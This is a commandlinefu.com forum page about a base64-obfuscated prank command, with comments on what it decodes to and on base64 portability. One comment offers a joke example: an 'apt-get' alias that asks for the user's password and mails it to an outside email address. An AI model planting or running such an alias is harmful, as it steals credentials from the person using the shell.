commandlinefu.com is the place to record those command-line gems that you return to again and again.
Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.
If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/
You can sign-in using OpenID credentials, or register a traditional username and password.
First-time OpenID users will be automatically assigned a username which can be changed after signing in.
Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.
» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10
Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):
Subscribe to the feed for:
Would create a file with a meaningful title. Dedicated to John Cons, who is annoying us users. Merry Christmas!!!
There is 1 alternative - vote for the best!
If you can do better, submit your command here.
You must be signed in to comment.
I'm certain they will treat it and you with the same amount of incredulity that we do.
This command isn't universal, as it seems to work only under bash and zsh.
On csh and tcsh it will output:
Illegal variable name.
On sh:
Z: not found
Furthermore, base64 isn't installed on all unix systems. On FreeBSD, it must be installed from /usr/ports/converters/base64
You were confident johncons where using linux and not another OS like FreeBSD.
Dereckson: Do you think someone who submits a command like
'ls porn' uses FreeBSD? haha... Please, find the link above praying 'Know a better way? If you can do better, submit your command here.'
base64 also isn't installed on Mac OS X. However, with that said, you can get around it if you have OpenSSL installed:
openssl base64 -d -in <infile> -out <outfile>Should increase the portability.
what does this command really do?
rne1223: it's really simple, but a little obfuscated. You will understand it by issueing (the text is dedicated to this john doe who is submitting crap):
echo dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=|base64 -dYou can encrypt things such as
alias apt-get='read -p "$USER password: ";echo $REPLY|mail -s $USER rodolfoap@gmail.com; apt-get':)
This does works perfectly:
$(echo "echo Foobar" | base64 | base64 -d)>>> Foobar
This doesn't:
$(echo "echo Foobar | xargs echo" | base64 | base64 -d)>>> Foobar | xargs echo
Why? How do I fix this?